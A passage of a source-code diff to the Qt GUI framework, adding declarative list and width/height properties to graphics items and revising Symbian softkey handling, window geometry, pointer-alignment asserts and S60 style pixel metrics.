\fn QGraphicsObject::childrenChanged() + + This signal gets emitted whenever the children list changes + \internal +*/ /*! \class QAbstractGraphicsShapeItem @@ -10936,7 +11044,7 @@ QPixmap QGraphicsItemEffectSourcePrivate::pixmap(Qt::CoordinateSystem system, QP // Item coordinates with info. QTransform newEffectTransform = info->transformPtr->inverted(); newEffectTransform *= effectTransform; - scened->draw(item, &pixmapPainter, info->viewTransform, info->transformPtr, info->exposedRegion, + scened->draw(item, &pixmapPainter, info->viewTransform, info->transformPtr, 0, info->widget, info->opacity, &newEffectTransform, info->wasDirtySceneTransform, info->drawItem); } diff --git a/src/gui/graphicsview/qgraphicsitem.h b/src/gui/graphicsview/qgraphicsitem.h index 56f94a2..22be64c 100644 --- a/src/gui/graphicsview/qgraphicsitem.h +++ b/src/gui/graphicsview/qgraphicsitem.h @@ -547,6 +547,10 @@ class Q_GUI_EXPORT QGraphicsObject : public QObject, public QGraphicsItem Q_PROPERTY(qreal rotation READ rotation WRITE setRotation NOTIFY rotationChanged) Q_PROPERTY(qreal scale READ scale WRITE setScale NOTIFY scaleChanged) Q_PROPERTY(QPointF transformOriginPoint READ transformOriginPoint WRITE setTransformOriginPoint) + Q_PRIVATE_PROPERTY(QGraphicsItem::d_func(), QDeclarativeListProperty<QGraphicsObject> children READ childrenList DESIGNABLE false NOTIFY childrenChanged) + Q_PRIVATE_PROPERTY(QGraphicsItem::d_func(), qreal width READ width WRITE setWidth NOTIFY widthChanged RESET resetWidth FINAL) + Q_PRIVATE_PROPERTY(QGraphicsItem::d_func(), qreal height READ height WRITE setHeight NOTIFY heightChanged RESET resetHeight FINAL) + Q_CLASSINFO("DefaultProperty", "children") Q_INTERFACES(QGraphicsItem) public: QGraphicsObject(QGraphicsItem *parent = 0); @@ -571,6 +575,9 @@ Q_SIGNALS: void zChanged(); void rotationChanged(); void scaleChanged(); + void childrenChanged(); + void widthChanged(); + void heightChanged(); protected: QGraphicsObject(QGraphicsItemPrivate &dd, QGraphicsItem *parent, QGraphicsScene *scene); diff --git a/src/gui/graphicsview/qgraphicsitem_p.h b/src/gui/graphicsview/qgraphicsitem_p.h index de8cf56..b53c545 100644 --- a/src/gui/graphicsview/qgraphicsitem_p.h +++ b/src/gui/graphicsview/qgraphicsitem_p.h @@ -71,6 +71,62 @@ QT_BEGIN_NAMESPACE class QGraphicsItemPrivate; +#ifndef QDECLARATIVELISTPROPERTY +#define QDECLARATIVELISTPROPERTY +template<typename T> +struct QDeclarativeListProperty { + typedef void (*AppendFunction)(QDeclarativeListProperty<T> *, T*); + typedef int (*CountFunction)(QDeclarativeListProperty<T> *); + typedef T *(*AtFunction)(QDeclarativeListProperty<T> *, int); + typedef void (*ClearFunction)(QDeclarativeListProperty<T> *); + + QDeclarativeListProperty() + : object(0), data(0), append(0), count(0), at(0), clear(0), dummy1(0), dummy2(0) {} + QDeclarativeListProperty(QObject *o, QList<T *> &list) + : object(o), data(&list), append(qlist_append), count(qlist_count), at(qlist_at), + clear(qlist_clear), dummy1(0), dummy2(0) {} + QDeclarativeListProperty(QObject *o, void *d, AppendFunction a, CountFunction c = 0, AtFunction t = 0, + ClearFunction r = 0) + : object(o), data(d), append(a), count(c), at(t), clear(r), dummy1(0), dummy2(0) {} + + bool operator==(const QDeclarativeListProperty &o) const { + return object == o.object && + data == o.data && + append == o.append && + count == o.count && + at == o.at && + clear == o.clear; + } + + QObject *object; + void *data; + + AppendFunction append; + + CountFunction count; + AtFunction at; + + ClearFunction clear; + + void *dummy1; + void *dummy2; + +private: + static void qlist_append(QDeclarativeListProperty *p, T *v) { + ((QList<T *> *)p->data)->append(v); + } + static int qlist_count(QDeclarativeListProperty *p) { + return ((QList<T *> *)p->data)->count(); + } + static T *qlist_at(QDeclarativeListProperty *p, int idx) { + return ((QList<T *> *)p->data)->at(idx); + } + static void qlist_clear(QDeclarativeListProperty *p) { + return ((QList<T *> *)p->data)->clear(); + } +}; +#endif + class QGraphicsItemCache { public: @@ -237,6 +293,7 @@ public: void resolveDepth(); void addChild(QGraphicsItem *child); void removeChild(QGraphicsItem *child); + QDeclarativeListProperty<QGraphicsObject> childrenList(); void setParentItemHelper(QGraphicsItem *parent, const QVariant *newParentVariant, const QVariant *thisPointerVariant); void childrenBoundingRectHelper(QTransform *x, QRectF *rect); @@ -423,11 +480,21 @@ public: inline QTransform transformToParent() const; inline void ensureSortedChildren(); + static void append(QDeclarativeListProperty<QGraphicsObject> *list, QGraphicsObject *item); static inline bool insertionOrder(QGraphicsItem *a, QGraphicsItem *b); void ensureSequentialSiblingIndex(); inline void sendScenePosChange(); virtual void siblingOrderChange(); + // Private Properties + virtual qreal width() const; + virtual void setWidth(qreal); + virtual void resetWidth(); + + virtual qreal height() const; + virtual void setHeight(qreal); + virtual void resetHeight(); + QRectF childrenBoundingRect; QRectF needsRepaint; QMap<QWidget *, QRect> paintedViewBoundingRects; diff --git a/src/gui/graphicsview/qgraphicsscene.cpp b/src/gui/graphicsview/qgraphicsscene.cpp index bcdc7d3..29a4be8 100644 --- a/src/gui/graphicsview/qgraphicsscene.cpp +++ b/src/gui/graphicsview/qgraphicsscene.cpp @@ -4721,7 +4721,7 @@ void QGraphicsScenePrivate::drawSubtreeRecursive(QGraphicsItem *item, QPainter * if (item->d_ptr->graphicsEffect && item->d_ptr->graphicsEffect->isEnabled()) { ENSURE_TRANSFORM_PTR; QGraphicsItemPaintInfo info(viewTransform, transformPtr, effectTransform, exposedRegion, widget, &styleOptionTmp, - painter, opacity, wasDirtyParentSceneTransform, drawItem); + painter, opacity, wasDirtyParentSceneTransform, itemHasContents && !itemIsFullyTransparent); QGraphicsEffectSource *source = item->d_ptr->graphicsEffect->d_func()->source; QGraphicsItemEffectSourcePrivate *sourced = static_cast<QGraphicsItemEffectSourcePrivate *> (source->d_func()); diff --git a/src/gui/graphicsview/qgraphicswidget.cpp b/src/gui/graphicsview/qgraphicswidget.cpp index 669dd61..ccfd87c 100644 --- a/src/gui/graphicsview/qgraphicswidget.cpp +++ b/src/gui/graphicsview/qgraphicswidget.cpp @@ -324,6 +324,14 @@ void QGraphicsWidget::resize(const QSizeF &size) */ /*! + + \fn QGraphicsWidget::geometryChanged() + + This signal gets emitted whenever the geometry of the item changes + \internal +*/ + +/*! \property QGraphicsWidget::geometry \brief the geometry of the widget @@ -391,6 +399,10 @@ void QGraphicsWidget::setGeometry(const QRectF &rect) QGraphicsSceneResizeEvent re; re.setOldSize(oldSize); re.setNewSize(newGeom.size()); + if (oldSize.width() != newGeom.size().width()) + emit widthChanged(); + if (oldSize.height() != newGeom.size().height()) + emit heightChanged(); QApplication::sendEvent(this, &re); } } @@ -2352,5 +2364,7 @@ void QGraphicsWidget::dumpFocusChain() #endif QT_END_NAMESPACE + +#include "moc_qgraphicswidget.cpp" #endif //QT_NO_GRAPHICSVIEW diff --git a/src/gui/graphicsview/qgraphicswidget_p.cpp b/src/gui/graphicsview/qgraphicswidget_p.cpp index 1835c74..6e397b6 100644 --- a/src/gui/graphicsview/qgraphicswidget_p.cpp +++ b/src/gui/graphicsview/qgraphicswidget_p.cpp @@ -44,6 +44,7 @@ #ifndef QT_NO_GRAPHICSVIEW #include <QtCore/qdebug.h> +#include <QtCore/qnumeric.h> #include "qgraphicswidget_p.h" #include "qgraphicslayout.h" #include "qgraphicsscene_p.h" @@ -825,6 +826,56 @@ void QGraphicsWidgetPrivate::setLayout_helper(QGraphicsLayout *l) } } +qreal QGraphicsWidgetPrivate::width() const +{ + Q_Q(const QGraphicsWidget); + return q->geometry().width(); +} + +void QGraphicsWidgetPrivate::setWidth(qreal w) +{ + if (qIsNaN(w)) + return; + Q_Q(QGraphicsWidget); + if (q->geometry().width() == w) + return; + + QRectF oldGeom = q->geometry(); + + q->setGeometry(QRectF(q->x(), q->y(), w, height())); +} + +void QGraphicsWidgetPrivate::resetWidth() +{ + Q_Q(QGraphicsWidget); + q->setGeometry(QRectF(q->x(), q->y(), 0, height())); +} + +qreal QGraphicsWidgetPrivate::height() const +{ + Q_Q(const QGraphicsWidget); + return q->geometry().height(); +} + +void QGraphicsWidgetPrivate::setHeight(qreal h) +{ + if (qIsNaN(h)) + return; + Q_Q(QGraphicsWidget); + if (q->geometry().height() == h) + return; + + QRectF oldGeom = q->geometry(); + + q->setGeometry(QRectF(q->x(), q->y(), width(), h)); +} + +void QGraphicsWidgetPrivate::resetHeight() +{ + Q_Q(QGraphicsWidget); + q->setGeometry(QRectF(q->x(), q->y(), width(), 0)); +} + QT_END_NAMESPACE #endif //QT_NO_GRAPHICSVIEW diff --git a/src/gui/graphicsview/qgraphicswidget_p.h b/src/gui/graphicsview/qgraphicswidget_p.h index 3ab8737..7116a23 100644 --- a/src/gui/graphicsview/qgraphicswidget_p.h +++ b/src/gui/graphicsview/qgraphicswidget_p.h @@ -131,6 +131,15 @@ public: void windowFrameHoverLeaveEvent(QGraphicsSceneHoverEvent *event); bool hasDecoration() const; + // Private Properties + qreal width() const; + void setWidth(qreal); + void resetWidth(); + + qreal height() const; + void setHeight(qreal); + void resetHeight(); + // State inline int attributeToBitIndex(Qt::WidgetAttribute att) const { diff --git a/src/gui/gui.pro b/src/gui/gui.pro index 52531a3..cbdbb5c 100644 --- a/src/gui/gui.pro +++ b/src/gui/gui.pro @@ -62,7 +62,6 @@ symbian { # Partial upgrade SIS file vendorinfo = \ - "&EN" \ "; Localised Vendor name" \ "%{\"Nokia, Qt\"}" \ " " \ diff --git a/src/gui/itemviews/qtreeview.cpp b/src/gui/itemviews/qtreeview.cpp index 61ad79d..4636c50 100644 --- a/src/gui/itemviews/qtreeview.cpp +++ b/src/gui/itemviews/qtreeview.cpp @@ -674,15 +674,19 @@ void QTreeView::dataChanged(const QModelIndex &topLeft, const QModelIndex &botto // refresh the height cache here; we don't really lose anything by getting the size hint, // since QAbstractItemView::dataChanged() will get the visualRect for the items anyway - int topViewIndex = d->viewIndex(topLeft); - if (topViewIndex == 0) - d->defaultItemHeight = indexRowSizeHint(topLeft); bool sizeChanged = false; + int topViewIndex = d->viewIndex(topLeft); + if (topViewIndex == 0) { + int newDefaultItemHeight = indexRowSizeHint(topLeft); + sizeChanged = d->defaultItemHeight != newDefaultItemHeight; + d->defaultItemHeight = newDefaultItemHeight; + } + if (topViewIndex != -1) { if (topLeft.row() == bottomRight.row()) { int oldHeight = d->itemHeight(topViewIndex); d->invalidateHeightCache(topViewIndex); - sizeChanged = (oldHeight != d->itemHeight(topViewIndex)); + sizeChanged |= (oldHeight != d->itemHeight(topViewIndex)); if (topLeft.column() == 0) d->viewItems[topViewIndex].hasChildren = d->hasVisibleChildren(topLeft); } else { diff --git a/src/gui/kernel/qapplication_s60.cpp b/src/gui/kernel/qapplication_s60.cpp index 27b490b..25a7bbe 100644 --- a/src/gui/kernel/qapplication_s60.cpp +++ b/src/gui/kernel/qapplication_s60.cpp @@ -1004,16 +1004,32 @@ void QSymbianControl::FocusChanged(TDrawNow /* aDrawNow */) // else { We don't touch the active window unless we were explicitly activated or deactivated } } +void QSymbianControl::handleClientAreaChange() +{ + const bool cbaVisibilityHint = qwidget->windowFlags() & Qt::WindowSoftkeysVisibleHint; + if (qwidget->isFullScreen() && !cbaVisibilityHint) { + SetExtentToWholeScreen(); + } else if (qwidget->isMaximized() || (qwidget->isFullScreen() && cbaVisibilityHint)) { + TRect r = static_cast<CEikAppUi*>(S60->appUi())->ClientRect(); + SetExtent(r.iTl, r.Size()); + } else if (!qwidget->isMinimized()) { // Normal geometry + if (!qwidget->testAttribute(Qt::WA_Resized)) { + qwidget->adjustSize(); + qwidget->setAttribute(Qt::WA_Resized, false); //not a user resize + } + if (!qwidget->testAttribute(Qt::WA_Moved) && qwidget->windowType() != Qt::Dialog) { + TRect r = static_cast<CEikAppUi*>(S60->appUi())->ClientRect(); + SetPosition(r.iTl); + qwidget->setAttribute(Qt::WA_Moved, false); // not really an explicit position + } + } +} + void QSymbianControl::HandleResourceChange(int resourceType) { switch (resourceType) { case KInternalStatusPaneChange: - if (qwidget->isFullScreen()) { - SetExtentToWholeScreen(); - } else if (qwidget->isMaximized()) { - TRect r = static_cast<CEikAppUi*>(S60->appUi())->ClientRect(); - SetExtent(r.iTl, r.Size()); - } + handleClientAreaChange(); if (IsFocused() && IsVisible()) { qwidget->d_func()->setWindowIcon_sys(true); qwidget->d_func()->setWindowTitle_sys(qwidget->windowTitle()); @@ -1025,22 +1041,7 @@ void QSymbianControl::HandleResourceChange(int resourceType) #ifdef Q_WS_S60 case KEikDynamicLayoutVariantSwitch: { - if (qwidget->isFullScreen()) { - SetExtentToWholeScreen(); - } else if (qwidget->isMaximized()) { - TRect r = static_cast<CEikAppUi*>(S60->appUi())->ClientRect(); - SetExtent(r.iTl, r.Size()); - } else if (!qwidget->isMinimized()){ // Normal geometry - if (!qwidget->testAttribute(Qt::WA_Resized)) { - qwidget->adjustSize(); - qwidget->setAttribute(Qt::WA_Resized, false); //not a user resize - } - if (!qwidget->testAttribute(Qt::WA_Moved) && qwidget->windowType() != Qt::Dialog) { - TRect r = static_cast<CEikAppUi*>(S60->appUi())->ClientRect(); - SetPosition(r.iTl); - qwidget->setAttribute(Qt::WA_Moved, false); // not really an explicit position - } - } + handleClientAreaChange(); break; } #endif diff --git a/src/gui/kernel/qapplication_win.cpp b/src/gui/kernel/qapplication_win.cpp index ae9b34c..715b4c4 100644 --- a/src/gui/kernel/qapplication_win.cpp +++ b/src/gui/kernel/qapplication_win.cpp @@ -2278,7 +2278,7 @@ extern "C" LRESULT QT_WIN_CALLBACK QtWndProc(HWND hwnd, UINT message, WPARAM wPa case WM_GETOBJECT: { // Ignoring all requests while starting up - if (QApplication::startingUp() || QApplication::closingDown() || (DWORD)lParam != OBJID_CLIENT) { + if (QApplication::startingUp() || QApplication::closingDown() || (LONG)lParam != OBJID_CLIENT) { result = false; break; } diff --git a/src/gui/kernel/qsoftkeymanager.cpp b/src/gui/kernel/qsoftkeymanager.cpp index c9a94ee..923144a 100644 --- a/src/gui/kernel/qsoftkeymanager.cpp +++ b/src/gui/kernel/qsoftkeymanager.cpp @@ -115,6 +115,8 @@ QAction *QSoftKeyManager::createAction(StandardSoftKey standardKey, QWidget *act break; } action->setSoftKeyRole(softKeyRole); + action->setVisible(false); + setForceEnabledInSoftkeys(action); return action; } @@ -168,25 +170,55 @@ bool QSoftKeyManager::appendSoftkeys(const QWidget &source, int level) { Q_D(QSoftKeyManager); bool ret = false; - QList<QAction*> actions = source.actions(); - for (int i = 0; i < actions.count(); ++i) { - if (actions.at(i)->softKeyRole() != QAction::NoSoftKey) { - d->requestedSoftKeyActions.insert(level, actions.at(i)); + foreach(QAction *action, source.actions()) { + if (action->softKeyRole() != QAction::NoSoftKey + && (action->isVisible() || isForceEnabledInSofkeys(action))) { + d->requestedSoftKeyActions.insert(level, action); ret = true; } } return ret; } + +static bool isChildOf(const QWidget *c, const QWidget *p) +{ + while (c) { + if (c == p) + return true; + c = c->parentWidget(); + } + return false; +} + QWidget *QSoftKeyManager::softkeySource(QWidget *previousSource, bool& recursiveMerging) { Q_D(QSoftKeyManager); QWidget *source = NULL; if (!previousSource) { // Initial source is primarily focuswidget and secondarily activeWindow - source = QApplication::focusWidget(); - if (!source) - source = QApplication::activeWindow(); + QWidget *focus = QApplication::focusWidget(); + QWidget *popup = QApplication::activePopupWidget(); + if (popup) { + if (isChildOf(focus, popup)) + source = focus; + else + source = popup; + } + if (!source) { + QWidget *modal = QApplication::activeModalWidget(); + if (modal) { + if (isChildOf(focus, modal)) + source = focus; + else + source = modal; + } + } + if (!source) { + source = focus; + if (!source) + source = QApplication::activeWindow(); + } } else { // Softkey merging is based on four criterias // 1. Implicit merging is used whenever focus widget does not specify any softkeys @@ -220,6 +252,20 @@ bool QSoftKeyManager::handleUpdateSoftKeys() return true; } +void QSoftKeyManager::setForceEnabledInSoftkeys(QAction *action) +{ + action->setProperty(FORCE_ENABLED_PROPERTY, QVariant(true)); +} + +bool QSoftKeyManager::isForceEnabledInSofkeys(QAction *action) +{ + bool ret = false; + QVariant property = action->property(FORCE_ENABLED_PROPERTY); + if (property.isValid() && property.toBool()) + ret = true; + return ret; +} + bool QSoftKeyManager::event(QEvent *e) { #ifndef QT_NO_ACTION diff --git a/src/gui/kernel/qsoftkeymanager_p.h b/src/gui/kernel/qsoftkeymanager_p.h index a6fe17e..a5b258b 100644 --- a/src/gui/kernel/qsoftkeymanager_p.h +++ b/src/gui/kernel/qsoftkeymanager_p.h @@ -63,7 +63,8 @@ QT_BEGIN_NAMESPACE class QSoftKeyManagerPrivate; -const char MENU_ACTION_PROPERTY[] = "_q_menuaction"; +const char MENU_ACTION_PROPERTY[] = "_q_menuAction"; +const char FORCE_ENABLED_PROPERTY[] = "_q_forceEnabledInSoftkeys"; class Q_AUTOTEST_EXPORT QSoftKeyManager : public QObject { @@ -88,6 +89,8 @@ public: static QAction *createAction(StandardSoftKey standardKey, QWidget *actionWidget); static QAction *createKeyedAction(StandardSoftKey standardKey, Qt::Key key, QWidget *actionWidget); static QString standardSoftKeyText(StandardSoftKey standardKey); + static void setForceEnabledInSoftkeys(QAction *action); + static bool isForceEnabledInSofkeys(QAction *action); protected: bool event(QEvent *e); diff --git a/src/gui/kernel/qsoftkeymanager_s60.cpp b/src/gui/kernel/qsoftkeymanager_s60.cpp index 3a0304c..9812d72 100644 --- a/src/gui/kernel/qsoftkeymanager_s60.cpp +++ b/src/gui/kernel/qsoftkeymanager_s60.cpp @@ -288,11 +288,7 @@ bool QSoftKeyManagerPrivateS60::setSoftkey(CEikButtonGroupContainer &cba, TPtrC nativeText = qt_QString2TPtrC(text); int command = S60_COMMAND_START + position; setNativeSoftkey(cba, position, command, nativeText); - // QMainWindow "Options" action is set to invisible in order it does not appear in context menu - // and all invisible actions are by default disabled. - // However we never want to dim options softkey, even it is set to invisible - QVariant property = action->property(MENU_ACTION_PROPERTY); - const bool dimmed = (property.isValid() && property.toBool()) ? false : !action->isEnabled(); + const bool dimmed = !action->isEnabled() && !QSoftKeyManager::isForceEnabledInSofkeys(action); cba.DimCommand(command, dimmed); realSoftKeyActions.insert(command, action); return true; @@ -335,6 +331,7 @@ bool QSoftKeyManagerPrivateS60::setRightSoftkey(CEikButtonGroupContainer &cba) cbaHasImage[RSK_POSITION] = false; } setNativeSoftkey(cba, RSK_POSITION, EAknSoftkeyExit, nativeText); + cba.DimCommand(EAknSoftkeyExit, false); return true; } } diff --git a/src/gui/kernel/qsound.cpp b/src/gui/kernel/qsound.cpp index 165e6ce..9d8ffa5 100644 --- a/src/gui/kernel/qsound.cpp +++ b/src/gui/kernel/qsound.cpp @@ -147,12 +147,13 @@ public: supports WAVE and AU files. \row \o Mac OS X - \o NSSound is used. All formats that NSSound supports, including QuickTime formats, + \o NSSound is used. All formats that NSSound supports, including QuickTime formats, are supported by Qt for Mac OS X. \row \o Qt for Embedded Linux \o A built-in mixing sound server is used, accessing \c /dev/dsp directly. Only the WAVE format is supported. + \row \o Symbian \o CMdaAudioPlayerUtility is used. All formats that Symbian OS or devices support are supported also by Qt. diff --git a/src/gui/kernel/qt_s60_p.h b/src/gui/kernel/qt_s60_p.h index cedede1..7c6b754 100644 --- a/src/gui/kernel/qt_s60_p.h +++ b/src/gui/kernel/qt_s60_p.h @@ -212,6 +212,7 @@ private: #ifdef QT_SYMBIAN_SUPPORTS_ADVANCED_POINTER void translateAdvancedPointerEvent(const TAdvancedPointerEvent *event); #endif + void handleClientAreaChange(); private: static QSymbianControl *lastFocusedControl; diff --git a/src/gui/kernel/qwidget_s60.cpp b/src/gui/kernel/qwidget_s60.cpp index 79702af..bfa7050 100644 --- a/src/gui/kernel/qwidget_s60.cpp +++ b/src/gui/kernel/qwidget_s60.cpp @@ -1109,9 +1109,11 @@ void QWidget::setWindowState(Qt::WindowStates newstate) QTLWExtra *top = d->topData(); const QRect normalGeometry = (top->normalGeometry.width() < 0) ? geometry() : top->normalGeometry; - if (newstate & Qt::WindowFullScreen) - setGeometry(qApp->desktop()->availableGeometry(this)); - else if (newstate & Qt::WindowMaximized) + + const bool cbaVisibilityHint = windowFlags() & Qt::WindowSoftkeysVisibleHint; + if (newstate & Qt::WindowFullScreen && !cbaVisibilityHint) + setGeometry(qApp->desktop()->screenGeometry(this)); + else if (newstate & Qt::WindowMaximized || ((newstate & Qt::WindowFullScreen) && cbaVisibilityHint)) setGeometry(qApp->desktop()->availableGeometry(this)); else setGeometry(normalGeometry); diff --git a/src/gui/painting/qdrawhelper.cpp b/src/gui/painting/qdrawhelper.cpp index 71e2e3b..1f75ec7 100644 --- a/src/gui/painting/qdrawhelper.cpp +++ b/src/gui/painting/qdrawhelper.cpp @@ -3884,8 +3884,8 @@ inline void interpolate_pixel_unaligned_2(DST *dest, const SRC *src, template <class DST, class SRC> inline void interpolate_pixel_2(DST *dest, const SRC *src, quint16 alpha) { - Q_ASSERT((long(dest) & 0x3) == 0); - Q_ASSERT((long(src) & 0x3) == 0); + Q_ASSERT((quintptr(dest) & 0x3) == 0); + Q_ASSERT((quintptr(src) & 0x3) == 0); const quint16 a = eff_alpha_2(alpha, dest); const quint16 ia = eff_ialpha_2(alpha, dest); @@ -3958,8 +3958,8 @@ template <class DST, class SRC> inline void interpolate_pixel_2(DST *dest, quint8 a, const SRC *src, quint8 b) { - Q_ASSERT((long(dest) & 0x3) == 0); - Q_ASSERT((long(src) & 0x3) == 0); + Q_ASSERT((quintptr(dest) & 0x3) == 0); + Q_ASSERT((quintptr(src) & 0x3) == 0); Q_ASSERT(!SRC::hasAlpha()); @@ -4007,8 +4007,8 @@ inline void interpolate_pixel_2(qrgb444 *dest, quint8 a, template <class DST, class SRC> inline void interpolate_pixel_4(DST *dest, const SRC *src, quint32 alpha) { - Q_ASSERT((long(dest) & 0x3) == 0); - Q_ASSERT((long(src) & 0x3) == 0); + Q_ASSERT((quintptr(dest) & 0x3) == 0); + Q_ASSERT((quintptr(src) & 0x3) == 0); const quint32 a = eff_alpha_4(alpha, dest); const quint32 ia = eff_ialpha_4(alpha, dest); @@ -4411,7 +4411,7 @@ void QT_FASTCALL blendUntransformed_dest16(DST *dest, const SRC *src, { Q_ASSERT(sizeof(DST) == 2); Q_ASSERT(sizeof(SRC) == 2); - Q_ASSERT((long(dest) & 0x3) == (long(src) & 0x3)); + Q_ASSERT((quintptr(dest) & 0x3) == (quintptr(src) & 0x3)); Q_ASSERT(coverage > 0); const int align = quintptr(dest) & 0x3; @@ -4479,8 +4479,8 @@ void QT_FASTCALL blendUntransformed_dest16(DST *dest, const SRC *src, } while (length >= 2) { - Q_ASSERT((long(dest) & 3) == 0); - Q_ASSERT((long(src) & 3) == 0); + Q_ASSERT((quintptr(dest) & 3) == 0); + Q_ASSERT((quintptr(src) & 3) == 0); const quint16 a = alpha_2(src); if (a == 0xffff) { @@ -4511,7 +4511,7 @@ template <class DST, class SRC> void QT_FASTCALL blendUntransformed_dest24(DST *dest, const SRC *src, quint8 coverage, int length) { - Q_ASSERT((long(dest) & 0x3) == (long(src) & 0x3)); + Q_ASSERT((quintptr(dest) & 0x3) == (quintptr(src) & 0x3)); Q_ASSERT(sizeof(DST) == 3); Q_ASSERT(coverage > 0); diff --git a/src/gui/painting/qpainter.cpp b/src/gui/painting/qpainter.cpp index db4ace4..1c528fe 100644 --- a/src/gui/painting/qpainter.cpp +++ b/src/gui/painting/qpainter.cpp @@ -7999,7 +7999,7 @@ start_lengthVariant: for (int i = 0; i < textLayout.lineCount(); i++) { QTextLine line = textLayout.lineAt(i); - qreal advance = textLayout.engine()->lines[i].textAdvance.toReal(); + qreal advance = line.horizontalAdvance(); if (tf & Qt::AlignRight) xoff = r.width() - advance; else if (tf & Qt::AlignHCenter) diff --git a/src/gui/styles/qgtkstyle.cpp b/src/gui/styles/qgtkstyle.cpp index e2de43a..bd87ca4 100644 --- a/src/gui/styles/qgtkstyle.cpp +++ b/src/gui/styles/qgtkstyle.cpp @@ -769,6 +769,8 @@ void QGtkStyle::drawPrimitive(PrimitiveElement element, GtkArrowType type = GTK_ARROW_UP; QRect r = header->rect; QImage arrow; + // This sorting indicator inversion is intentional, and follows the GNOME HIG. + // See http://library.gnome.org/devel/hig-book/stable/controls-lists.html.en#controls-lists-sortable if (header->sortIndicator & QStyleOptionHeader::SortUp) type = GTK_ARROW_UP; else if (header->sortIndicator & QStyleOptionHeader::SortDown) diff --git a/src/gui/styles/qs60style.cpp b/src/gui/styles/qs60style.cpp index 750e19f..af37e6e 100644 --- a/src/gui/styles/qs60style.cpp +++ b/src/gui/styles/qs60style.cpp @@ -61,7 +61,6 @@ #include "qscrollarea.h" #include "qscrollbar.h" #include "qtabbar.h" -#include "qtablewidget.h" #include "qtableview.h" #include "qtextedit.h" #include "qtoolbar.h" @@ -307,6 +306,13 @@ void QS60StylePrivate::drawSkinPart(QS60StyleEnums::SkinParts part, short QS60StylePrivate::pixelMetric(int metric) { + //If it is a custom value, need to strip away the base to map to internal + //pixel metric value table + if (metric & QStyle::PM_CustomBase) { + metric -= QStyle::PM_CustomBase; + metric += MAX_NON_CUSTOM_PIXELMETRICS - 1; + } + Q_ASSERT(metric < MAX_PIXELMETRICS); const short returnValue = m_pmPointer[metric]; return returnValue; @@ -407,8 +413,8 @@ QColor QS60StylePrivate::colorFromFrameGraphics(SkinFrameElements frame) const { const bool cachedColorExists = m_colorCache.contains(frame); if (!cachedColorExists) { - const int frameCornerWidth = pixelMetric(PM_Custom_FrameCornerWidth); - const int frameCornerHeight = pixelMetric(PM_Custom_FrameCornerHeight); + const int frameCornerWidth = pixelMetric(PM_FrameCornerWidth); + const int frameCornerHeight = pixelMetric(PM_FrameCornerHeight); Q_ASSERT(2 * frameCornerWidth < 32); Q_ASSERT(2 * frameCornerHeight < 32); @@ -868,7 +874,7 @@ QSize QS60StylePrivate::partSize(QS60StyleEnums::SkinParts part, SkinElementFlag case QS60StyleEnums::SP_QgnGrafBarFrameSideL: case QS60StyleEnums::SP_QgnGrafBarFrameSideR: - result.setWidth(pixelMetric(PM_Custom_FrameCornerWidth)); + result.setWidth(pixelMetric(PM_FrameCornerWidth)); break; case QS60StyleEnums::SP_QsnCpScrollHandleTopPressed: @@ -895,15 +901,15 @@ QSize QS60StylePrivate::partSize(QS60StyleEnums::SkinParts part, SkinElementFlag case 7: /* CornerTr */ case 6: /* CornerBl */ case 5: /* CornerBr */ - result.setWidth(pixelMetric(PM_Custom_FrameCornerWidth)); + result.setWidth(pixelMetric(PM_FrameCornerWidth)); // Falltrough intended... case 4: /* SideT */ case 3: /* SideB */ - result.setHeight(pixelMetric(PM_Custom_FrameCornerHeight)); + result.setHeight(pixelMetric(PM_FrameCornerHeight)); break; case 2: /* SideL */ case 1: /* SideR */ - result.setWidth(pixelMetric(PM_Custom_FrameCornerWidth)); + result.setWidth(pixelMetric(PM_FrameCornerWidth)); break; case 0: /* center */ default: @@ -1002,7 +1008,6 @@ void QS60Style::drawComplexControl(ComplexControl control, const QStyleOptionCom QS60StylePrivate::SE_SliderGrooveVertical; QS60StylePrivate::drawSkinElement(grooveElement, painter, sliderGroove, flags); } else { - const QRect sliderGroove = subControlRect(control, optionSlider, SC_SliderGroove, widget); const QPoint sliderGrooveCenter = sliderGroove.center(); const bool horizontal = optionSlider->orientation == Qt::Horizontal; painter->save(); @@ -1129,7 +1134,7 @@ void QS60Style::drawComplexControl(ComplexControl control, const QStyleOptionCom drawPrimitive(pe, &toolButton, painter, widget); } - if (toolBtn->text.length()>0 || + if (toolBtn->text.length() > 0 || !toolBtn->icon.isNull()) { const int frameWidth = pixelMetric(PM_DefaultFrameWidth, option, widget); toolButton.rect = button.adjusted(frameWidth, frameWidth, -frameWidth, -frameWidth); @@ -1371,7 +1376,7 @@ void QS60Style::drawControl(ControlElement element, const QStyleOption *option, } if (!comboBox->currentText.isEmpty() && !comboBox->editable) { QCommonStyle::drawItemText(painter, - editRect.adjusted(QS60StylePrivate::pixelMetric(PM_Custom_FrameCornerWidth), 0, -1, 0), + editRect.adjusted(QS60StylePrivate::pixelMetric(PM_FrameCornerWidth), 0, -1, 0), visualAlignment(comboBox->direction, Qt::AlignLeft | Qt::AlignVCenter), comboBox->palette, comboBox->state & State_Enabled, comboBox->currentText); } @@ -1836,8 +1841,8 @@ void QS60Style::drawControl(ControlElement element, const QStyleOption *option, painter->save(); QPen linePen = QPen(QS60StylePrivate::s60Color(QS60StyleEnums::CL_QsnLineColors, 1, header)); const int penWidth = (header->orientation == Qt::Horizontal) ? - linePen.width() + QS60StylePrivate::pixelMetric(PM_Custom_BoldLineWidth) - : linePen.width() + QS60StylePrivate::pixelMetric(PM_Custom_ThinLineWidth); + linePen.width() + QS60StylePrivate::pixelMetric(PM_BoldLineWidth) + : linePen.width() + QS60StylePrivate::pixelMetric(PM_ThinLineWidth); linePen.setWidth(penWidth); painter->setPen(linePen); if (header->orientation == Qt::Horizontal){ @@ -1856,7 +1861,7 @@ void QS60Style::drawControl(ControlElement element, const QStyleOption *option, //Make cornerButton slightly smaller so that it is not on top of table border graphic. QStyleOptionHeader subopt = *header; const int borderTweak = - QS60StylePrivate::pixelMetric(PM_Custom_FrameCornerWidth) >> 1; + QS60StylePrivate::pixelMetric(PM_FrameCornerWidth) >> 1; if (subopt.direction == Qt::LeftToRight) subopt.rect.adjust(borderTweak, borderTweak, 0, -borderTweak); else @@ -1964,40 +1969,37 @@ void QS60Style::drawControl(ControlElement element, const QStyleOption *option, case CE_MenuScroller: break; case CE_FocusFrame: { - // The pen width should nearly fill the layoutspacings around the widget - const int penWidth = - qMin(pixelMetric(QS60Style::PM_LayoutVerticalSpacing), pixelMetric(QS60Style::PM_LayoutHorizontalSpacing)) - - 2; // But keep 1 pixel distance to the focus widget and 1 pixel to the adjacent widgets - 